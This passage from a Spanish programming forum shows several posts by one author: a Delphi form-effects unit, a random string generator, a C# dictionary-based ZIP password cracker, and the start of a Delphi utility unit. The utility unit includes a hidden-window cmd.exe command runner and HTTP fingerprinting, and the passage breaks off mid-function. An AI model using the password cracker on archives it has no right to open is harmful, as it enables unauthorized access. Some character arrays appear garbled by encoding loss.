  450.         Result := True;
  451.       end;
  452.     except
  453.       begin
  454.         //
  455.       end;
  456.     end;
  457.   end
  458.   else
  459.   begin
  460.     Result := False;
  461.   end;
  462. end;
  463.  
  464. //
  465.  
  466. end.
  467.  
  468. // The End ?
  469.  

Ejemplos de uso :

Código
  1. procedure TForm1.Form_EffectsClick(Sender: TObject);
  2.  
  3. var
  4.   effects_manager: T_DH_Form_Effects;
  5.  
  6. begin
  7.  
  8.   effects_manager := T_DH_Form_Effects.Create();
  9.  
  10.   effects_manager.window_transparent(Form1, 240);
  11.   effects_manager.window_effect(Form1.Handle,'center',100);
  12.   effects_manager.Effect_Marquee_Label_DownUp(Panel1, Label1, 1);
  13.   effects_manager.Effect_Marquee_Label_LeftRight(Label2, 'left', 1);
  14.   Effect_Marquee_Form_Caption_LeftRight(Form1, 'right', 1);
  15.   Effect_Load_Another_Form(Form1, About, 'effect2', 1, 5, 300);
  16.   Effect_Load_Another_Form(Form1, About, 'effect1', 1,10,200);
  17.  
  18.   effects_manager.Free;
  19.  
  20. end;
  21.  

Si quieren bajar el codigo lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
27  Programación / Programación General / [Delphi] DH String Generator 0.3 en: 10 Junio 2016, 17:11 pm
Un programa en Delphi para generar strings de 10 tipos diferentes y longitudes especificas.

Una imagen :



El codigo :

Código
  1. // DH String Generator 0.3
  2. // (C) Doddy Hackman 2016
  3.  
  4. unit generator;
  5.  
  6. interface
  7.  
  8. uses
  9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.   System.Classes, Vcl.Graphics,
  11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Math, Vcl.ExtCtrls,
  12.   Vcl.ComCtrls, Vcl.Imaging.pngimage, Vcl.ImgList, FormAbout;
  13.  
  14. type
  15.   TFormHome = class(TForm)
  16.     imgLogo: TImage;
  17.     gbStrings: TGroupBox;
  18.     txtString1: TEdit;
  19.     btnGen1: TButton;
  20.     btnCopy1: TButton;
  21.     txtString2: TEdit;
  22.     txtString3: TEdit;
  23.     btnGen2: TButton;
  24.     btnCopy2: TButton;
  25.     btnGen3: TButton;
  26.     btnCopy3: TButton;
  27.     txtString4: TEdit;
  28.     btnGen4: TButton;
  29.     btnCopy4: TButton;
  30.     txtString5: TEdit;
  31.     btnGen5: TButton;
  32.     btnCopy5: TButton;
  33.     txtString6: TEdit;
  34.     btnGen6: TButton;
  35.     btnCopy6: TButton;
  36.     txtString7: TEdit;
  37.     btnGen7: TButton;
  38.     btnCopy7: TButton;
  39.     txtString8: TEdit;
  40.     btnGen8: TButton;
  41.     btnCopy8: TButton;
  42.     txtString9: TEdit;
  43.     btnGen9: TButton;
  44.     btnCopy9: TButton;
  45.     txtString10: TEdit;
  46.     btnGen10: TButton;
  47.     btnCopy10: TButton;
  48.     gbEnterLength: TGroupBox;
  49.     gbOptions: TGroupBox;
  50.     btnAutomatic: TButton;
  51.     btnAbout: TButton;
  52.     btnExit: TButton;
  53.     txtLength: TEdit;
  54.     udLength: TUpDown;
  55.     automatic_string: TTimer;
  56.     ilIconos: TImageList;
  57.     procedure btnGen1Click(Sender: TObject);
  58.     procedure btnGen2Click(Sender: TObject);
  59.     procedure btnGen3Click(Sender: TObject);
  60.     procedure btnGen4Click(Sender: TObject);
  61.     procedure btnGen5Click(Sender: TObject);
  62.     procedure btnGen6Click(Sender: TObject);
  63.     procedure btnGen7Click(Sender: TObject);
  64.     procedure btnGen8Click(Sender: TObject);
  65.     procedure btnGen9Click(Sender: TObject);
  66.     procedure btnGen10Click(Sender: TObject);
  67.     procedure btnCopy1Click(Sender: TObject);
  68.     procedure btnCopy2Click(Sender: TObject);
  69.     procedure btnCopy3Click(Sender: TObject);
  70.     procedure btnCopy4Click(Sender: TObject);
  71.     procedure btnCopy5Click(Sender: TObject);
  72.     procedure btnCopy6Click(Sender: TObject);
  73.     procedure btnCopy7Click(Sender: TObject);
  74.     procedure btnCopy8Click(Sender: TObject);
  75.     procedure btnCopy9Click(Sender: TObject);
  76.     procedure btnCopy10Click(Sender: TObject);
  77.     procedure automatic_stringTimer(Sender: TObject);
  78.     procedure btnAutomaticClick(Sender: TObject);
  79.     procedure btnAboutClick(Sender: TObject);
  80.   private
  81.     { Private declarations }
  82.   public
  83.     { Public declarations }
  84.   end;
  85.  
  86. var
  87.   FormHome: TFormHome;
  88.  
  89. implementation
  90.  
  91. {$R *.dfm}
  92. // Functions
  93.  
  94. function dh_generate_string(option: string; length_string: integer): string;
  95. const
  96.   letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
  97.     'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
  98.     'x', 'y', 'z');
  99. const
  100.   letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
  101.     'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
  102.     'X', 'Y', 'Z');
  103. const
  104.   numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
  105.     '8', '9');
  106.  
  107. const
  108.   cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  109.     '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
  110.     '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
  111.     '?', '?', '?', '?', '?', '?');
  112.  
  113. const
  114.   no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  115.     '?', '?', '?', '?', '?');
  116.  
  117. const
  118.   no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  119.     '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
  120.     '?', '?', '?', '?', '??');
  121.  
  122. const
  123.   no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
  124.     '_', '?', '`', '?', '_', '?');
  125.  
  126. const
  127.   no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
  128.     'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
  129.     '˜', '?', '=');
  130.  
  131. const
  132.   no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
  133.     '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
  134.     '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');
  135.  
  136. const
  137.   no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  138.     '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
  139.     '?', '?', '?', '?', '?', '?', '?', '?', '?');
  140. var
  141.   code: string;
  142.   gen_now: string;
  143.   i: integer;
  144.   index: integer;
  145. begin
  146.  
  147.   gen_now := '';
  148.  
  149.   for i := 1 to length_string do
  150.   begin
  151.     if (option = '1') then
  152.     begin
  153.       gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
  154.     end
  155.     else if (option = '2') then
  156.     begin
  157.       gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
  158.     end
  159.     else if (option = '3') then
  160.     begin
  161.       gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
  162.     end
  163.     else if (option = '4') then
  164.     begin
  165.       gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
  166.     end
  167.     else if (option = '5') then
  168.     begin
  169.       gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
  170.     end
  171.     else if (option = '6') then
  172.     begin
  173.       gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
  174.     end
  175.     else if (option = '7') then
  176.     begin
  177.       gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
  178.     end
  179.     else if (option = '8') then
  180.     begin
  181.       gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
  182.     end
  183.     else if (option = '9') then
  184.     begin
  185.       gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
  186.     end
  187.     else if (option = '10') then
  188.     begin
  189.       gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
  190.     end
  191.     else
  192.     begin
  193.       gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
  194.     end;
  195.   end;
  196.   code := gen_now;
  197.  
  198.   Result := code;
  199. end;
  200.  
  201. function message_box(title, message_text, type_message: string): string;
  202. begin
  203.   if not(title = '') and not(message_text = '') and not(type_message = '') then
  204.   begin
  205.     try
  206.       begin
  207.         if (type_message = 'Information') then
  208.         begin
  209.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  210.             MB_ICONINFORMATION);
  211.         end
  212.         else if (type_message = 'Warning') then
  213.         begin
  214.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  215.             MB_ICONWARNING);
  216.         end
  217.         else if (type_message = 'Question') then
  218.         begin
  219.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  220.             MB_ICONQUESTION);
  221.         end
  222.         else if (type_message = 'Error') then
  223.         begin
  224.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  225.             MB_ICONERROR);
  226.         end
  227.         else
  228.         begin
  229.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  230.             MB_ICONINFORMATION);
  231.         end;
  232.         Result := '[+] MessageBox : OK';
  233.       end;
  234.     except
  235.       begin
  236.         Result := '[-] Error';
  237.       end;
  238.     end;
  239.   end
  240.   else
  241.   begin
  242.     Result := '[-] Error';
  243.   end;
  244. end;
  245.  
  246. //
  247.  
  248. procedure TFormHome.btnGen1Click(Sender: TObject);
  249. begin
  250.   txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
  251. end;
  252.  
  253. procedure TFormHome.btnGen2Click(Sender: TObject);
  254. begin
  255.   txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
  256. end;
  257.  
  258. procedure TFormHome.btnGen3Click(Sender: TObject);
  259. begin
  260.   txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
  261. end;
  262.  
  263. procedure TFormHome.btnGen4Click(Sender: TObject);
  264. begin
  265.   txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
  266. end;
  267.  
  268. procedure TFormHome.btnGen5Click(Sender: TObject);
  269. begin
  270.   txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
  271. end;
  272.  
  273. procedure TFormHome.btnGen6Click(Sender: TObject);
  274. begin
  275.   txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
  276. end;
  277.  
  278. procedure TFormHome.btnGen7Click(Sender: TObject);
  279. begin
  280.   txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
  281. end;
  282.  
  283. procedure TFormHome.btnGen8Click(Sender: TObject);
  284. begin
  285.   txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
  286. end;
  287.  
  288. procedure TFormHome.btnGen9Click(Sender: TObject);
  289. begin
  290.   txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
  291. end;
  292.  
  293. procedure TFormHome.btnGen10Click(Sender: TObject);
  294. begin
  295.   txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
  296. end;
  297.  
  298. procedure TFormHome.btnCopy1Click(Sender: TObject);
  299. begin
  300.   if not(txtString1.Text = '') then
  301.   begin
  302.     txtString1.SelectAll;
  303.     txtString1.CopyToClipboard;
  304.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  305.       'Information');
  306.   end
  307.   else
  308.   begin
  309.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  310.   end;
  311. end;
  312.  
  313. procedure TFormHome.btnCopy2Click(Sender: TObject);
  314. begin
  315.   if not(txtString2.Text = '') then
  316.   begin
  317.     txtString2.SelectAll;
  318.     txtString2.CopyToClipboard;
  319.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  320.       'Information');
  321.   end
  322.   else
  323.   begin
  324.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  325.   end;
  326. end;
  327.  
  328. procedure TFormHome.btnCopy3Click(Sender: TObject);
  329. begin
  330.   if not(txtString3.Text = '') then
  331.   begin
  332.     txtString3.SelectAll;
  333.     txtString3.CopyToClipboard;
  334.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  335.       'Information');
  336.   end
  337.   else
  338.   begin
  339.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  340.   end;
  341. end;
  342.  
  343. procedure TFormHome.btnCopy4Click(Sender: TObject);
  344. begin
  345.   if not(txtString4.Text = '') then
  346.   begin
  347.     txtString4.SelectAll;
  348.     txtString4.CopyToClipboard;
  349.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  350.       'Information');
  351.   end
  352.   else
  353.   begin
  354.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  355.   end;
  356. end;
  357.  
  358. procedure TFormHome.btnCopy5Click(Sender: TObject);
  359. begin
  360.   if not(txtString5.Text = '') then
  361.   begin
  362.     txtString5.SelectAll;
  363.     txtString5.CopyToClipboard;
  364.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  365.       'Information');
  366.   end
  367.   else
  368.   begin
  369.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  370.   end;
  371. end;
  372.  
  373. procedure TFormHome.btnCopy6Click(Sender: TObject);
  374. begin
  375.   if not(txtString6.Text = '') then
  376.   begin
  377.     txtString6.SelectAll;
  378.     txtString6.CopyToClipboard;
  379.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  380.       'Information');
  381.   end
  382.   else
  383.   begin
  384.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  385.   end;
  386. end;
  387.  
  388. procedure TFormHome.btnCopy7Click(Sender: TObject);
  389. begin
  390.   if not(txtString7.Text = '') then
  391.   begin
  392.     txtString7.SelectAll;
  393.     txtString7.CopyToClipboard;
  394.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  395.       'Information');
  396.   end
  397.   else
  398.   begin
  399.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  400.   end;
  401. end;
  402.  
  403. procedure TFormHome.btnCopy8Click(Sender: TObject);
  404. begin
  405.   if not(txtString8.Text = '') then
  406.   begin
  407.     txtString8.SelectAll;
  408.     txtString8.CopyToClipboard;
  409.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  410.       'Information');
  411.   end
  412.   else
  413.   begin
  414.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  415.   end;
  416. end;
  417.  
  418. procedure TFormHome.btnCopy9Click(Sender: TObject);
  419. begin
  420.   if not(txtString9.Text = '') then
  421.   begin
  422.     txtString9.SelectAll;
  423.     txtString9.CopyToClipboard;
  424.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  425.       'Information');
  426.   end
  427.   else
  428.   begin
  429.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  430.   end;
  431. end;
  432.  
  433. procedure TFormHome.btnCopy10Click(Sender: TObject);
  434. begin
  435.   if not(txtString10.Text = '') then
  436.   begin
  437.     txtString10.SelectAll;
  438.     txtString10.CopyToClipboard;
  439.     message_box('DH String Generator 0.3', 'String copied to the clipboard',
  440.       'Information');
  441.   end
  442.   else
  443.   begin
  444.     message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  445.   end;
  446. end;
  447.  
  448. procedure TFormHome.btnAboutClick(Sender: TObject);
  449. begin
  450.   FormAbout.frmAbout.Show();
  451. end;
  452.  
  453. procedure TFormHome.btnAutomaticClick(Sender: TObject);
  454. begin
  455.   if (automatic_string.Enabled = False) then
  456.   begin
  457.     btnAutomatic.Caption := 'Disable Automatic Generate';
  458.     automatic_string.Enabled := True;
  459.   end
  460.   else
  461.   begin
  462.     btnAutomatic.Caption := 'Enable Automatic Generate';
  463.     automatic_string.Enabled := False;
  464.   end;
  465. end;
  466.  
  467. procedure TFormHome.automatic_stringTimer(Sender: TObject);
  468. begin
  469.   txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
  470.   txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
  471.   txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
  472.   txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
  473.   txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
  474.   txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
  475.   txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
  476.   txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
  477.   txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
  478.   txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
  479. end;
  480.  
  481. end.
  482.  
  483. // The End ?
  484.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
28  Programación / .NET (C#, VB.NET, ASP) / [C#] ZIP Cracker 0.2 en: 28 Mayo 2016, 03:43 am
Un simple programa en C# para buscar el password de un comprimido ZIP usando un diccionario.

El codigo :

Código
  1. // ZIP Cracker 0.2
  2. // (C) Doddy Hackman 2015
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. using Ionic.Zip;
  12. using System.IO;
  13.  
  14. namespace ZIP_Cracker
  15. {
  16.     public partial class Form1 : Form
  17.     {
  18.         public Form1()
  19.         {
  20.             InitializeComponent();
  21.         }
  22.  
  23.         public bool check_password(string filename, string password)
  24.         {
  25.             try
  26.             {
  27.                 using (ZipFile zip = ZipFile.Read(filename))
  28.                 {
  29.                     zip.Password = password;
  30.                     var stream = new MemoryStream();
  31.  
  32.                     foreach (ZipEntry z in zip)
  33.                     {
  34.                         z.Extract(stream);
  35.                     }
  36.                     return true;
  37.                 }
  38.             }
  39.             catch
  40.             {
  41.                 return false;
  42.             }
  43.         }
  44.  
  45.         private void exit_Click(object sender, EventArgs e)
  46.         {
  47.             Application.Exit();
  48.         }
  49.  
  50.         private void load_Click(object sender, EventArgs e)
  51.         {
  52.             open.InitialDirectory = Directory.GetCurrentDirectory();
  53.             open.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
  54.             open.Title = "Select File";
  55.             if (open.ShowDialog() == DialogResult.OK)
  56.             {
  57.                 wordlist.Text = open.FileName;
  58.             }
  59.         }
  60.  
  61.         private void crack_Click(object sender, EventArgs e)
  62.         {
  63.             string zip_file = archivo_zip.Text;
  64.             string wordlist_file = wordlist.Text;
  65.             string password;
  66.  
  67.             console.Clear();
  68.  
  69.             if (File.Exists(zip_file) && File.Exists(wordlist_file))
  70.             {
  71.                 console.AppendText("[+] Cracking ...\n\n");
  72.                 System.IO.StreamReader leyendo = new System.IO.StreamReader(wordlist_file);
  73.                 while ((password = leyendo.ReadLine()) != null)
  74.                 {
  75.                     if (check_password(zip_file,password))
  76.                     {
  77.                         console.AppendText("[+] Password Found : " + password+"\n");
  78.                         break;
  79.                     }
  80.                     else
  81.                     {
  82.                         console.AppendText("[-] Password : "+password+" FAIL"+"\n");
  83.                     }
  84.                 }
  85.  
  86.                 leyendo.Close();
  87.  
  88.                 console.AppendText("\n[+] Finished");
  89.             }
  90.             else
  91.             {
  92.                 console.AppendText("[-] File not found");
  93.             }
  94.         }
  95.  
  96.         private void load_zip_Click(object sender, EventArgs e)
  97.         {
  98.             open.InitialDirectory = Directory.GetCurrentDirectory();
  99.             open.Filter = "zip files (*.zip)|*.zip|All files (*.*)|*.*";
  100.             open.Title = "Select ZIP";
  101.             if (open.ShowDialog() == DialogResult.OK)
  102.             {
  103.                 archivo_zip.Text = open.FileName;
  104.             }
  105.         }
  106.  
  107.     }
  108. }
  109.  
  110. // The End ?
  111.  

Una imagen :



Si quieren bajar el proyecto con el codigo fuente lo pueden hacer de aca :

SourceForge.

Eso seria todo.
29  Programación / Programación General / [Delphi] Unit DH Tools 0.2 en: 14 Mayo 2016, 18:45 pm
Hola les traigo una Unit en Delphi , se llama DH_Tools y tiene las siguientes funciones :

  • Realizar una peticion GET a una pagina y capturar la respuesta
  • Realizar una peticion POST a una pagina y capturar la respuesta
  • Crear o escribir en un archivo
  • Leer un archivo
  • Ejecutar comandos y recibir la respuesta
  • HTTP FingerPrinting
  • Recibir el codigo de respuesta HTTP de una pagina
  • Limpiar repetidos en un array
  • Limpiar URL en un array a partir de la "query"
  • Split casero xD
  • Descargar archivos de internet
  • Capturar el nombre del archivo de una URL
  • URI Split
  • MD5 Encode
  • Capturar el MD5 de un archivo
  • Resolve IP

El codigo :

Código
  1. // Unit : DH Tools
  2. // Version : 0.2
  3. // (C) Doddy Hackman 2015
  4.  
  5. unit DH_Tools;
  6.  
  7. interface
  8.  
  9. uses SysUtils, Windows, WinInet, Classes, IdHTTP, Generics.Collections, URLMon,
  10.   IdURI, IdHashMessageDigest, WinSock;
  11.  
  12. function toma(const pagina: string): UTF8String;
  13. function tomar(pagina: string; postdata: AnsiString): string;
  14. procedure savefile(filename, texto: string);
  15. function read_file(const archivo: TFileName): String;
  16. function console(cmd: string): string;
  17. function http_finger(page: string): string;
  18. function response_code(page: string): string;
  19. function clean_list(const list: TList<String>): TList<String>;
  20. function cut_list(const list: TList<String>): TList<String>;
  21. function regex(text: String; deaca: String; hastaaca: String): String;
  22. function download_file(page, save: string): bool;
  23. function get_url_file(Url: string): string;
  24. function uri_split(Url, opcion: string): string;
  25. function md5_encode(text: string): string;
  26. function md5_file(const filename: string): string;
  27. function resolve_ip(const target: string): string;
  28.  
  29. implementation
  30.  
  31. function toma(const pagina: string): UTF8String;
  32.  
  33. // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
  34. // Thanks to www.scalabium.com
  35.  
  36. var
  37.   nave1: HINTERNET;
  38.   nave2: HINTERNET;
  39.   tou: DWORD;
  40.   codez: UTF8String;
  41.   codee: array [0 .. 1023] of byte;
  42.   finalfinal: string;
  43.  
  44. begin
  45.  
  46.   try
  47.  
  48.     begin
  49.  
  50.       finalfinal := '';
  51.       Result := '';
  52.  
  53.       nave1 := InternetOpen
  54.         ('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
  55.         INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  56.  
  57.       nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
  58.         INTERNET_FLAG_RELOAD, 0);
  59.  
  60.       repeat
  61.  
  62.       begin
  63.         InternetReadFile(nave2, @codee, SizeOf(codee), tou);
  64.         SetString(codez, PAnsiChar(@codee[0]), tou);
  65.         finalfinal := finalfinal + codez;
  66.       end;
  67.  
  68.       until tou = 0;
  69.  
  70.       InternetCloseHandle(nave2);
  71.       InternetCloseHandle(nave1);
  72.  
  73.       Result := finalfinal;
  74.     end;
  75.  
  76.   except
  77.     //
  78.   end;
  79. end;
  80.  
  81. function regex(text: String; deaca: String; hastaaca: String): String;
  82. begin
  83.   Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  84.   SetLength(text, AnsiPos(hastaaca, text) - 1);
  85.   Result := text;
  86. end;
  87.  
  88. function tomar(pagina: string; postdata: AnsiString): string;
  89.  
  90. // Credits : Based on  : http://tulisanlain.blogspot.com.ar/2012/10/how-to-send-http-post-request-in-delphi.html
  91. // Thanks to Tulisan Lain
  92.  
  93. const
  94.   accept: packed array [0 .. 1] of LPWSTR = (PChar('*/*'), nil);
  95.  
  96. var
  97.   nave3: HINTERNET;
  98.   nave4: HINTERNET;
  99.   nave5: HINTERNET;
  100.   todod: array [0 .. 1023] of AnsiChar;
  101.   numberz: Cardinal;
  102.   numberzzz: Cardinal;
  103.   finalfinalfinalfinal: string;
  104.  
  105. begin
  106.  
  107.   try
  108.  
  109.     begin
  110.  
  111.       finalfinalfinalfinal := '';
  112.       Result := '';
  113.  
  114.       nave3 := InternetOpen
  115.         (PChar('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'),
  116.         INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  117.  
  118.       nave4 := InternetConnect(nave3, PChar(regex(pagina, '://', '/')),
  119.         INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 1);
  120.  
  121.       nave5 := HttpOpenRequest(nave4, PChar('POST'), PChar(get_url_file(pagina)
  122.         ), nil, nil, @accept, 0, 1);
  123.  
  124.       HttpSendRequest(nave5,
  125.         PChar('Content-Type: application/x-www-form-urlencoded'),
  126.         Length('Content-Type: application/x-www-form-urlencoded'),
  127.         PChar(postdata), Length(postdata));
  128.  
  129.       repeat
  130.  
  131.       begin
  132.  
  133.         InternetReadFile(nave5, @todod, SizeOf(todod), numberzzz);
  134.  
  135.         if numberzzz = SizeOf(todod) then
  136.         begin
  137.           Result := Result + AnsiString(todod);
  138.         end;
  139.         if numberzzz > 0 then
  140.           for numberz := 0 to numberzzz - 1 do
  141.           begin
  142.             finalfinalfinalfinal := finalfinalfinalfinal + todod[numberz];
  143.           end;
  144.  
  145.       end;
  146.  
  147.       until numberzzz = 0;
  148.  
  149.       InternetCloseHandle(nave3);
  150.       InternetCloseHandle(nave4);
  151.       InternetCloseHandle(nave5);
  152.  
  153.       Result := finalfinalfinalfinal;
  154.  
  155.     end;
  156.  
  157.   except
  158.     //
  159.   end;
  160. end;
  161.  
  162. procedure savefile(filename, texto: string);
  163. var
  164.   ar: TextFile;
  165.  
  166. begin
  167.  
  168.   AssignFile(ar, filename);
  169.   FileMode := fmOpenWrite;
  170.  
  171.   if FileExists(filename) then
  172.     Append(ar)
  173.   else
  174.     Rewrite(ar);
  175.  
  176.   Write(ar, texto);
  177.   CloseFile(ar);
  178.  
  179. end;
  180.  
  181. function read_file(const archivo: TFileName): String;
  182. var
  183.   lista: TStringList;
  184. begin
  185.  
  186.   if (FileExists(archivo)) then
  187.   begin
  188.  
  189.     lista := TStringList.Create;
  190.     lista.Loadfromfile(archivo);
  191.     Result := lista.text;
  192.     lista.Free;
  193.  
  194.   end;
  195. end;
  196.  
  197. function console(cmd: string): string;
  198. // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
  199. // Thanks to www.delphidabbler.com
  200.  
  201. var
  202.   parte1: TSecurityAttributes;
  203.   parte2: TStartupInfo;
  204.   parte3: TProcessInformation;
  205.   parte4: THandle;
  206.   parte5: THandle;
  207.   control2: Boolean;
  208.   contez: array [0 .. 255] of AnsiChar;
  209.   notengoidea: Cardinal;
  210.   fix: Boolean;
  211.   code: string;
  212.  
  213. begin
  214.  
  215.   code := '';
  216.  
  217.   with parte1 do
  218.   begin
  219.     nLength := SizeOf(parte1);
  220.     bInheritHandle := True;
  221.     lpSecurityDescriptor := nil;
  222.   end;
  223.  
  224.   CreatePipe(parte4, parte5, @parte1, 0);
  225.  
  226.   with parte2 do
  227.   begin
  228.     FillChar(parte2, SizeOf(parte2), 0);
  229.     cb := SizeOf(parte2);
  230.     dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  231.     wShowWindow := SW_HIDE;
  232.     hStdInput := GetStdHandle(STD_INPUT_HANDLE);
  233.     hStdOutput := parte5;
  234.     hStdError := parte5;
  235.   end;
  236.  
  237.   fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
  238.     PChar('c:/'), parte2, parte3);
  239.  
  240.   CloseHandle(parte5);
  241.  
  242.   if fix then
  243.  
  244.     repeat
  245.  
  246.     begin
  247.       control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
  248.     end;
  249.  
  250.     if notengoidea > 0 then
  251.     begin
  252.       contez[notengoidea] := #0;
  253.       code := code + contez;
  254.     end;
  255.  
  256.     until not(control2) or (notengoidea = 0);
  257.  
  258.   Result := code;
  259.  
  260. end;
  261.  
  262. function http_finger(page: string): string;
  263. var
  264.   nave: TIdHTTP;
  265.   resultado: string;
  266. begin
  267.  
  268.   nave := TIdHTTP.Create(nil);
  269.   nave.Request.UserAgent :=
  270.     'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
  271.   nave.Get(page);
  272.   resultado := '[+] ' + nave.Response.ResponseText + sLineBreak + '[+] Date : '
  273.     + DateTimeToStr(nave.Response.Date) + sLineBreak + '[+] Server : ' +
  274.     nave.Response.Server + sLineBreak + '[+] Last-Modified : ' +
  275.     DateTimeToStr(nave.Response.LastModified) + sLineBreak + '[+] ETag : ' +
  276.     nave.Response.ETag + sLineBreak + '[+] Accept-Ranges : ' +
  277.     nave.Response.AcceptRanges + sLineBreak + '[+] Content-Length : ' +
  278.     IntToStr(nave.Response.ContentLength) + sLineBreak + '[+] Connection : ' +
  279.     nave.Response.Connection + sLineBreak + '[+] Content-Type : ' +
  280.     nave.Response.ContentType;
  281.   Result := resultado;
  282. end;
  283.  
  284. function response_code(page: string): string;
  285. var
  286.   nave: TIdHTTP;
  287.   code: string;
  288. begin
  289.   nave := TIdHTTP.Create(nil);
  290.   nave.Request.UserAgent :=
  291.     'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
  292.   try
  293.     begin
  294.       nave.Head(page);
  295.       code := IntToStr(nave.ResponseCode);
  296.     end;
  297.   except
  298.     begin
  299.       code := '404';
  300.     end;
